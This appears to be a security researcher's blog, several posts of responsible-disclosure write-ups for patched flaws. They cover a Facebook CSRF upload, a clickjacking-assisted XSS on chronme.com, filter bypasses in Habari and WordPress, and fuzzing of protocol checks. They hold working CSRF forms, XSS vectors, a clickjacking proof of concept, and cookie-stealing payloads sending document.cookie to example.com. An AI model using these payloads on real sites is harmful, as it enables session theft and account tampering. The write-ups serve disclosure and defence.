Profile picture upload form in facebook.com was vulnerable to CSRF. The vulnerability resided in http://upload.facebook.com/pic_upload.php and allowed an attacker to force a user to change its profile picture.
The issue has been fixed by Facebook security team.

Analysis

Each facebook user is able to change its profile picture from the following address: http://www.facebook.com/editprofile.php?sk=picture. The related form uses two fields, post_form_id and fb_dtsg, which look like anti-CSRF tokens, however they were not verified properly. Removing those fields still resulted in successful file upload!

Here follows an example of the POST request; just three fields were required to manage a successful upload, id (facebook profile identifier), type (=profile, fixed) and pic (-> image file).

POST /pic_upload.php HTTP/1.1
Host=upload.facebook.com
User-Agent=Mozilla/5.0 (X11; Linux i686; rv:2.0) Gecko/20110321 Firefox/4.0
Accept=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language=en-us,en;q=0.5
Accept-Encoding=gzip, deflate
Accept-Charset=ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive=115
Connection=keep-alive
Referer= [...]
Cookie= [...]
Content-Type=multipart/form-data; boundary=---------------------------14845003822106369361604088384
Content-Length=24879

POSTDATA =
-----------------------------14845003822106369361604088384
Content-Disposition: form-data; name="id"

[facebook-profile-IDentifier]
-----------------------------14845003822106369361604088384
Content-Disposition: form-data; name="type"

profile
-----------------------------14845003822106369361604088384
Content-Disposition: form-data; name="pic"; filename="filename.jpg"
Content-Type: image/jpeg

[binary-data]

Take in mind that the vulnerability worked fine only if the user didn't use secure browsing (https) and he was logged in facebook. Furthermore the POST request did not have to contain the Origin header.
Actually the attacker's malicious page would not receive the response because of the CORS specification, but who cares?

Exploit

The attacker could employ a malicious web page with the following HTML code and ask the user to upload some image. Since the browser would attach the facebook cookies to the request, the choosen file would be uploaded as profile picture, but the user was not able to understand what was really happening.

<form enctype="multipart/form-data" method="post" action="http://upload.facebook.com/pic_upload.php">

<input type="hidden" value="profile_ID" name="id">
<input type="hidden" value="profile" name="type">
<input type="file" name="pic">

<input type="submit">
</form>

Actually this process could be done in Javascript without user interaction: you just need to make a XMLHttpRequest POST request, forming a multipart MIME manually. The attacker might ask the user to visit a malicious web page which contains some javascript code and quietly uploads a new profile picture. Notice that the image is choosen by the attacker, the user does not have to manually choose the file from its local filesystem.
This tecnique has been discovered and employed by Krzysztof Kotowicz against flickr.com (How to upload arbitrary file contents cross-domain - Cross domain arbitrary file upload Redux - Invisible arbitrary CSRF file upload in Flickr.com - Html5: something wicked this way comes) . I strongly recommend you to read the previous blogposts.

There is only one restriction: the attacker should know the user's profile identifier, but finding it should be trivial. Furthermore he could publish a link on the users' walls which pointed to the malicious web page. This latter could easily extract the user identifier by looking at the document.referrer (it's very likely that the user clicked on that link while he was looking at its wall: www.facebook.com/?id=[profile IDentifier]).

The invisible arbitrary CSRF file upload works fine in browsers supporting CORS (Firefox, Chrome), while Opera and IE allow the manual file upload whenever the user has a valid cookie.

Fix

Facebook fixed this vulnerability after receiving my report, according to the bug bounty initiative. I think they just employed the proper validation for the anti-CSRF tokens.

Timeline

09.09.11 facebook notified
09.14.11 fix is ready
09.21.11 fix has been deployed

So guys, I suppose this vulnerability is very spread, I think most modern web apps have a similar flaw, just like clickjacking vulnerabilities (you know, some disclosed facebook vulnerabilities are related to cross domain content extraction). Developers should be completely aware of Cross Domain AJAX security implications.

Clickjacking is a very nice techinque, that allows us to exploit unexploitable XSS flaws, for instance a "Self-Only" XSS. Krzysztof Kotowicz showed how an attacker could be able to perform such kind of exploits in order to trigger the flaw.

So what we need?
- Social engineering (I mean, a clumsy and inattentive user: a chicken... :D )
- A very permissive browser

I recommend you to read an awesome paper about UI redressing attacks by Marcus Niemietz; it summarizes and presents all the recent techniques and the best ways to prevent such kind of issues.

I'm starting this blogpost by showing a vulnerability I discovered few weeks ago on chronme.com and by discussing how it worked and how I was able to exploit it. Perhaps you will find nothing new, but my purpose is just to show how could be easy to achieve a UI redressing attack with Internet Explorer.
The issue has been fixed, thank you Phil for your collaboration! :)

Click here to skip this following analysis and go directly to the Proof of Concept, which works fine with IE 7,8,9.

Analysis

Chronme is an Online Chronometer, it is really cool and can be used for a wide range of purposes. Give it a look! The issue, I was talking about, can be found in the setlabel() javascript function, it is used to supply a label for a taken instant of time and it is called when the user inserts a label into an input tag.

function setlabel(labelid) {
labeltext=document.getElementById('label-'+labelid).value;

document.getElementById('laplabel-'+labelid).innerHTML = '<input style="font-size:0.8em;" type="text" onchange="setlabel('+labelid+')" size="24" maxlength="28" id="label-'+labelid+'" value="'+labeltext+'"/>';
}

It is possible to realize a XSS by suppyling the following vector as a label:

"><i>hello</i>

First of all, we can break the attribute value with the quote and close the input tag, then we can inject any kind of HTML.

"><b onclick=alert(9)>click

I have to notice that the attribute size for the input tag is limited to 28 characters, so I have to optimize the characters usage in order to achieve the more effective attack, by using the minimum possible # of chars. So very very simple:

"><b onclick=innerHTML=URL>

By loading the page with the following url:

http://online-stopwatch.chronme.com/#<img src=X onerror=alert(0)>

(I hope you remember how Mario Heiderich solved the tr3w's awesome challenge).

Take in mind that innerHTML=URL will be not effective in the case of Firefox; this latter will report the urlencoded URL, it means that we should be able to supply something like innerHTML=decodeURIComponent(URL).

The following stuff, I'm reporting just for completeness, should be not bad, but we will spend too much chars.
vector:

<style>@import url(//x.x/h.css);

x.x/h.css:

body{
width: expression(document.body.appendChild(document.createElement('script')).src='http://ww.ww.ww'););
}

I'm definitely aware of the fact that this issue seems to be not exploitable because it requires that the user inserts the payload and then clicks on it. Actually it is possible to exploit it by employing the clickjacking technique in order to trigger the XSS flaw. It is possible to use an invisible iframe which includes the online-stopwatch page and force the victim to click on some elements. He should be not able to understand the presence of the iframe, so he could unconsciously give place to the XSS vulnerability, which has been mentioned before.
Notice that the attack should be based on drag and drop: this method is used to populate the value of the input tag (related to the label), so that the user does not have to type it!
I prefer to skip the long discussion about how clickjacking should be avoided, but I report just a hint for completeness:
1. Adopt the X-Frame-Options header
2. Employ the JS + CSS protection

The issue has been quickly solved with some processing to the label input so that tags, quotes or double quotes aren't allowed. However no clickjacking preventions have been applied.

function setlabel(labelid) {
labeltext=document.getElementById('label-'+labelid).value.replace(/(<([^>]+)>)/ig,"");
labeltext=labeltext.replace(/[\"\']/g,"");

document.getElementById('laplabel-'+labelid).innerHTML = '<input style="font-size:0.6em;" type="text" onchange="setlabel('+labelid+')" size="24" maxlength="28" id="label-'+labelid+'" value="'+labeltext+'"/>';
}

The first regex can be bypassed by employing a tag ending with '//', while the second one solves definitely the issue. Since properly quoted attributes can only be escaped with the corresponding quote and I cannot inject a quote, then I cannot inject HTML code. Notice that single quotes could be allowed.

Actually there are no important cookies to steal (related to online-stopwatch subdomain)! The cookies (related to the "upper" domain, that is chronme.com) are setted with the domain property equal to .chronme.com, it means that the sub-domain may also read these ones. So the attacker could be able to steal the cookies related to the domain chronme.com, which includes the blog (wordpress) too.

Clickjacking with Internet Explorer

I wrote a PoC, that works ok in IE 7, 8, 9, check it here. You will find a video too, showing how the attack could work (the issue has been solved, so you cannot test it anymore). It simulates a kind of captcha, based on some stupid mathematical operations. The user has to drag the right result of something like '1+3' and drop it into an input, then he has to click OK for confirming its answer. Too simple!
Why IE? I started playing with IE9 when I discovered that the onchange event is not fired in Firefox after a drag and drop operation. I mean, by dragging and dropping some text into an input tag, which has setted an onchange attribute, nothing happens until the user writes at least one character into it. IE, Chrome and Opera fires the event handler just after losing the focus.
Drag and drop operations can be used for filling forms across domains (info); Basically to make a cross browser HTML5 drag and drop is very very annoying, so a lot of attackers tries to just use the setData method, but this latter works fine in Firefox and Safari. Actually IE allows us to realize this kind of operation in a trivial way, just exploiting the ondragstart and ondragend events. They might be applied to a textarea tag whose content is automatically selected with a simple onmouseover="this.select()".

So far so good, indeed the most important part (of the PoC) is the following:

<textarea id="x" rows="1" cols="8" ondragstart="this.innerText='"><b onclick=innerHTML=URL>x';this.select();changeIframePosition(13,1,0);cover(11);" ondragend="changeIframePosition(16,1,1);document.getElementById('end').innerHTML='6';this.focus();" onmouseover="this.select()" style="cursor: move;">
6</textarea>

When a drag operation starts, we can silently overwrite the textarea content with the payload and at the end we have to force again the selection of the new text. This stuff works good in Chrome too, but don't forget that it disabled the cross-origin drag and drop. The payload will be injected in the target forms when the drop event happens. The this.focus() into the ondragend forces the target input to lose the focus in order to fire the onchange event.
You can test what I'm saying with this code:

<textarea id="x" rows="1" cols="8" ondragstart="this.innerText='payload';this.select();" ondragend="this.focus();" onmouseover="this.select()" style="cursor: move;">
drag me</textarea>

<textarea onchange="alert(0)">drop here</textarea>

Furthermore IE allows to detect a click on an iframe with the onfocus attribute. This is very very bad, because the attacker could understand whenever the user clicks over the iframe in order to give him a kind of feedback. Take a look at the PoC and note that the "OK" button in the parent page becomes green after a click into the invisible iframe.

<script>
function clickFeedback() {
var a = document.getElementById("mybutton");

// let's give a feedback to the user
a.style.background="#00FF00";
}
</script>

<iframe id="clickjacking" src="X" scrolling="no" frameborder="none" onfocus="clickFeedback()"></iframe>

I recommend you to take a look at the proof of concept code, it's easy, but effective.
So yeah, UI redressing is a powerful technique and, we know, bad guys love it so much! Let's try to convince browser vendors to disable cross-origin drag and drop and developers to apply the right preventions...

I want to share some security issues, I discovered about a month ago in Habari. All the vulnerabilities, I'm talking about, are actually fixed in Habari 0.7 RC3 after my collaboration with the Habari security team. This last version has been announced today, therefore I hardly encourage Habari users to update their blog.

I recommend you to read the whole blogpost (it's not so boring), but if you want to skip the discussion about the Habari issues and check a nice trick for the PHP parse_url() function in order to bypass a protocol check (HREF attribute), then take a look at the end of this blogpost.

1. Habari 0.6.6 (current stable version)

1.1 The protocol check for a HREF attribute (in the name, email and comment fields) can be bypassed.

Habari allows users to insert HTML code in the post's comments, but the "filtering" process is not implemented in the right way. So let's consider the A tag; it is possible to insert links just inserting:

<a href="http://ss.ss">click</a>

While using a non-valid protocol, the code is rightly modified in:

<a>click</a>

It seems that the filtering process works good... Actually we can bypass the filter by inserting an initial whitespace character:

<a href=" javascript:alert(0)">click</a>

The protocol check is completely bypassed with this simple trick, I noticed that Habari requires a moderation for each comment, but an "unexperienced" admin could allow a malicious one and then click on it. I found the issue in the inputfilter.php, where the url is considered as relative when using the whitespace. A particular regex is not matched and it allows the bypass. You can check the code to better understand what happens and which is its behaviour.

inputfilter.php -> line 282
'(?P<scheme>[a-zA-Z][^:]*):(//)?'

It should be modified in the following one:

inputfilter.php -> line 282
'(?P<scheme>[a-zA-Z ][^:]*):(//)?'

But it should be a very naive ( => bad) approach!! There are some other characters to bypass the filter, I'm going to talk below about them, be patient.. However it is not a good idea to mark a link as relative if it does not match the regex.

Note that the name (the user who comments) and the email fields are affected by the same issue.
So let's try to exploit this vulnerability with an effective attack. The email field is reported in the private section, so the blog administrator could directly click on it. An attacker is able to supply this vector in the email field:

<a href=" javascript:open(eval(String.fromCharCode(39,104,116,116,112,58,47,47,101,120,97,109,112,108,101,46,99,111,109,47,63,99,111,111,107,105,101,61,39,32,43,32,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101)))">CLICK ME!</a>

That's too simple! We could also modify the admin page content by using the DOM.

<a href=" javascript:eval(document.getElementById('site').innerHTML+=' Free sex? :P Go <a href=http://www.badsite.com>here</a>');">CLICK ME</a>

Cool screenshot:

1.2 Open tags are not automatically closed by the filter, so this can break the output.

The filter does not check whether an open tag becomes closed at the end of the comment. The content of a page could be hardly modified, I mean, just opening the A tag the filter does not close it and whenever a new user tries to insert a new comment, he will click on the injected link.

<a href=" javascript:alert(0)">click me

This is not a very important issue, because the administrator is able to check quickly the tag balance, when he manages the comments; he can solve it by editing the comment content too.

2. Habari 0.7-dp3

2.1 The protocol check for a HREF attribute (in the name and comment fields) can be bypassed.

The email field is filtered successfully, but the name and the comment fields behave as before.

2.2 Open tags are not automatically closed by the filter, so this can break the output.

Read the 1.2 for information.

2.3 IMG tags are not sanitized.

We have a lot of ways to exploit this vulnerability, the simplest one can be achieved by employing the following vector:

<img src="X" onerror="alert(1)">

Notice that no user interaction is needed in this case!! If the admin allows a comment then all the users, who will visit our blog, will be "attacked". Wow! :P

Fixes

The habari team decided to not solve the issues for Habari 0.6.6: inputfilter is drastically different than that one used in the 0.7 version. So they won't realize any fixes for the current stable version, but they hardly encourage everyone to upgrade to 0.7. So the (below mentioned) fixes are relative to the 0.7 version.

2.1

Let's concentrate on the parse_url and glue_url functions (inputfilter.php), they validate the URLs which are supplied in an attribute.

parse_url( $url ): it is based on the PHP's native parse_url(), but the preceding space actually "breaks" this last function! "This function parses a URL and returns an associative array containing any of the various components of the URL that are present", from the manual.
By supplying something like " javascript:blablabla", the returned array reports an empty 'scheme' ( == protocol ) and populates the slot 'path' with that string. It means that a lot of web applications, which does not correctly use that function, can be exploited... So even if the scheme is empty, we cannot immediately consider a URL as relative and safe.

The Habari security team proposed this fix: it employs the trim() function to remove all whitespaces from the URL ( -> naive approach ).

The filter can be bypassed again with HTML entities and the HEX encoding.

<a href="&#8;javascript:alert(0)">woot?!</a> // FF

<a href="&#160;&xa0;javascript:alert(0)">ooo</a> // Opera 11

Each entity in the URL is validated by the strip_illegal_entities( $str ) function, that calls _validate_entity( $m ). Therefore the injected entities are converted in the correspondent characters and then submitted to the filtering process. For istance &#8; is trivially "converted" to the BACKSPACE char (U+0008). There are a lot of other characters to bypass the trim(), because it strips very few chars at the beginning and end of the input string. Take a look at the following resources:

- bypassing-a-protocol-check-href-attribute (by me)
- location.protocol fuzzer (by Gareth Heyes)
- Web Application Obfuscation (book), chapter 2, URIs section.

Considering the previous concepts and the following two lines, the parsed URL is marked as relative. (code)

...
$r['is_pseudo'] = !in_array( $r['scheme'], array( 'http', 'https', '' ) );
$r['is_relative'] = ( $r['host'] == '' && !$r['is_pseudo'] );
...

glue_url( $parsed_url ): it restores a URL separated by a parse_url() call. Let's consider to have " javascript:blablabla" as input, the only one job that will be done is to append the 'path' slot to the final restored URL.

...
if ( !empty( $parsed_url['path'] ) ) {
$res .= $parsed_url['path'];
}
...

So how can we solve the issue?!

  • To remove the & character -> bad, because & is useful in URLs.
  • To mark as non-relative an URL that does not contain '.' or '/' characters -> bad, because these can be used in the javascript content instead of the protocol.
  • To check whether the URL contains the ':' character -> Good way!! Notice that I do not mark as relative an URL that does contain the colon character.

I proposed the following patch in the inputfilter.parse_url() function:

$r['is_relative'] = ( $r['host'] == '' && !$r['is_pseudo'] );

$r['is_relative'] = ( $r['host'] == '' && !$r['is_pseudo'] && (strpos($r['path'], ":") == false) );

In this way the issue is definitely solved!
Ok, Someone could think to bypass again the filter by using &#58; or &#x3a; (IE8)... This is absolutely wrong becuase of the strip_illegal_entities( $str ) function.

Habari guys decided to not follow my suggestion, but they preferred to apply a regular expression to the URL before parsing it. They wanted to trim any unicode whitespace-like characters from the string (and not just the ASCII ones PHP's trim() adopts), check this. Let's investigate again:

<?php
$url = ' javas cript:alert(0)';

$r = parse_url( preg_replace('/^[\pZ\pC]+|[\pZ\pC]+$/u', '', $url) );

// i) the regex matches strings that start or finish with a whitespace
// ii) info about pC and pZ: http://webcache.googleusercontent.com/search?q=cache:mCQugTShrlMJ:nadeausoftware.com/articles/2007/9/php_tip_how_strip_punctuation_characters_web_page+nadeausoft+how+to+strip&cd=3&hl=it&ct=clnk&gl=it&source=www.google.it
// iii) which characters are considered for the matching? *Some* of them are reported in http://www.bogofilter.org/pipermail/bogofilter/2003-March/001889.html

print_r ($r);

?>

It looks to be a nice fix! Can we bypass the filter again? For sure, just supplying the whitespace in the middle of the URL!

<a href="javas cript:alert(0)">click</a>

Chrome and IE8 will definitely execute the alert! Actually I know three characters that can be used in the middle of the protocol in Chrome and IE 8, but of course they can change depending on the version of each browser.

1. U+0009 2. U+000A 3. U+000D

So Habari decided to follow a paranoid direction, that is the filter_var() function. FILTER_SANITIZE_URL filter removes all illegal URL characters from a string, cool! What about the IDNs? This stuff may cause some problems with any URLs, i.e. swedish ones. We should first encode the url content into punycode and then use that function, but this process can produce other issues... (The security team was aware of this point). They remarked that the ':' character is valid in a path and therefore my previous fix was not perfect.
Let's investigate by reading the RFC 3986, Relative Reference section:

A path segment that contains a colon character (e.g., "this:that") cannot be used as the first segment of a relative-path reference, as it would be mistaken for a scheme name. Such a segment must be preceded by a dot-segment (e.g., "./this:that") to make a relative-path reference.

So the best fix consists in checking whether a ':' char appears in the first segment of a relative-path reference. I proposed a fix that works in this direction and it's a very good solution in my opinion:

...
$r['is_relative'] = ( $r['host'] == '' && !$r['is_pseudo'] );

if ( strlen($parsed['path']) > 0 ) {
$s = substr($parsed['path'], 0, 1);

// relative-path reference -> !(network-path reference OR absolute-path reference)
if ( $s != '/' ) {
$n = explode('/', $parsed['path']);

// avoid something like this: javascript:alert(0)+[]+/sd/.source
if ( count($n) > 1 && strpos($n[0], ':') )
$r['is_relative'] = false;
// avoid something like this: javascript:alert(0)
else if ( count($n) == 1 && strpos($parsed['path'], ':') )
$r['is_relative'] = false;
}
}

if ( $r['is_pseudo'] ) {
...

At the end the Habari security team decided to fix in a cool way, that is by extracting the clean supplied scheme. Moreover the solution uses the PHP filter_var() SANITIZE_URL filter to get a true clean sanitized scheme, but employs the non-sanitized URL to parse the rest of the data in order to allow IDNs. So this is not the most elegant way, but probably the most clean.

I have also to report this, that is the fix to avoid HTML in the name field.

2.2

Actually there is no solution, with any luck it'll get fixed soon. However you can check the ticket here.

2.3

IMG tags were considered as special cases because of their "selfclosing" behaviour. First of all, the Habari team decided to remove any un-matched types of nodes (details), then they decided to use a whitelist for the attributes in the IMG tags (src and alt) and improve the conditional that determined if an attribute was valid (details).

As said before, all these vulnerabilities have been fixed and reported in the release notes and here. Some of the fixes have been done in the RC2, the URL filtering issue affects this last version, so you have to update to 0.7 RC3. The Habari security team took a lot of time to investigate and fix, but I understand that xss protection cannot be improved in just one day. :)
They did not credit me, but it does not really matter.
Update: They credited and thanked me by updating the Habari 0.7 release announcement. Thank you guys! :)
However I want to thank Chris Meller for his patience and his very constructive collaboration.

------------------------------------------------------------------------------------------------------------------------------------------

Comments about the PHP parse_url() function

Finally I want to stress the fact that some character in an URL force the PHP's native parse_url() to output an interesting array: the scheme will be empty, while the path will contain the real protocol (i.e. javascript).

So let's consider the following PHP script:

<?php
$url = ' javascript:alert(0)';

$r = parse_url($url);
print_r ($r);
?>

Of course we have the following output:

InputOutput
javascript:alert(0)Array ( [scheme] => javascript [path] => alert(0) )
[space]javascript:alert(0)Array ( [path] => javascript:alert(0) )
&#8;javascript:alert(0)Array ( [path] => _javascript:alert(0) )
javascript:alert(0)Array ( [path] => javascript:alert(0) )
[tab]javascript:alert(0)Array ( [path] => _javascript:alert(0) )
[newline]javascript:alert(0)Array ( [path] => _javascript:alert(0) )
java[space]script:alert(0)Array ( [path] => java script:alert(0) )

Control characters are replaced by '_', while the spaces (U+0020) "force" the 'javascript' to appear as path, wherever they are supplied. Note that the php manual says: "This function doesn't work with relative URLs" and "This function is not meant to validate the given URL". So parse_url() is not bad to check a URL, but we need to use it in the right way!

Update: You can find a good fuzzer here (by Gareth Heyes), which inspects the location.protocol value. I realized that html_entity_decode is not completely good for our task; take a look at the comments for further very useful information.

Let's consider a XSS filter that tries to sanitize HTML code. It allows to insert links like the following:

<a href="http://www.x.x">click me</a>

It employs a regex to realize the protocol check (http / https / ftp are allowed), but we realize that this last one is not so smart. So we can bypass it by using html entities. It should allows us to to inject the following vector:

<a href=" javascript:alert(0)">click me</a>

By using an initial whitespace the filter becomes confused and allows it!
I'd like to know which characters I can use in that position in order to bypass similar stupid filters, that do not allow whitespaces. So let's fuzzing with a simple php code:

HTML Entities
<?php
for($i=0; $i<=50000 65535; $i++) {
$r = html_entity_decode('&#'.$i.';', ENT_QUOTES, 'UTF-8');
echo '<a href="'.$r.'javascript:alert(0)">click me</a> - '.$r.' - '.$i.' <br />';
}
?>

Results
Firefox 3.6.13 : &#8; &#9; &#10; &#13; &#32;
Opera 11.00 : from &#9; to &#13; and &#32;
Chrome 8.0.552.237 : from &#1; to &#32;
IE 8 : from &#0; to &#32;

So the following vector could be used by an attacker, hoping that the unlucky user uses either Chrome or IE.

<a href="&#1;javascript:alert(1)">sad<a>

Let's try with hex encoding:
Hex encoding
<?php
for($i=0; $i<=50000 65535; $i++) {
$h = '&#x'.dechex($i).';';
echo '<a href="'.$h.'javascript:alert(0)">click me</a> - '.$h.' - '.$i.' <br />';
}
?>

Results
Firefox 3.6.13 : &#x8; &#x9; &#xa; &#xd; &#x20;
Opera 11.00 : from &#x9; to &#xd; and &#x20;
Chrome 8.0.552.237 : from &#x1; to &#x20;
IE 8 : from &#x1; to &#x20;

Note that & should not be modified in & amp; by the filter.
Doesn't this kind of filters exist? I am sure you've already found something similar in your life :P

Hello guys! :)
A new version of Wordpress has been released few hours ago, as you can see from here. It fixes a critical vulnerability, so that the wordpress twitter profile called it "the most important security release of the year" (tweet).
[+] Plaintext advisory

I want to show you some details about this vulnerabilty (I discovered), actually it could be really dangerous to not update your wordpress blog. Other contributions come from Jon Cave (duck_), he is a Wordpress core contributor.

Analysis

I report some extract of the mail I sent to the Wordpress security team.
The default install of Wordpress 3.0.3 allows to insert comments like the following in order to publish a link to other sites:

<a href="http://site.it">click me</a>

The protocol check is done when the href attribute is written in lower case, so an attacker
should insert any kind of protocol into the attribute href with a vector like the following:

<a HREF="javascript:alert(0)">click me</a>

This is a very bad way to sanitize HTML! We can bypass the protocol filtering process by exploiting a case sensitive matching. It is also possible to steal cookies of a logged user in a trivial way:

<a HREF="javascript:open('http://example.com/?cookie=' + document.cookie)">jjj</a>

I can also realize a more effective attack, as inserting something like this:

<a HREF="javascript:eval(document.getElementById('site-title').innerHTML+=' IMPORTANT WORDPRESS UPDATE, go to badsite.com to download it!');">nice site</a>

An inexperienced admin could click on the link and see a fake update alert on its private section. That is very very bad! Take a look at the screenshot to have an idea..

Wordpress needs an acceptation for each comment, but a "stupid" administrator could
allow a kind of fake comment, which looks fine, or he could simply click on the injected link.

So why am I not using a simple obfuscation method?! Actually the base64 encoding is perfect in this case:

<a HREF="data:text/html;base64,PHNjcmlwdD5hbGVydCgwKTwvc2NyaXB0Pg==">click here</a>

The issue was in the kses.php, that is the HTML sanitation library. The protocol check should be done in any case. Lower case or upper case, do not matter. You can find all further information about the fix here. As you can see the strtolower($attrname) function has been used to overcome the issue.

Disclosure timeline

20101219 Vendor contact
20101220 Vendor proposes a patch
20101220 The patch is ok in my opinion
20101220 Vendor takes time to fully audit and test kses.php
20101229 Wordpress 3.0.4 release

I wish you a happy new year :)




Main Pages

Twitter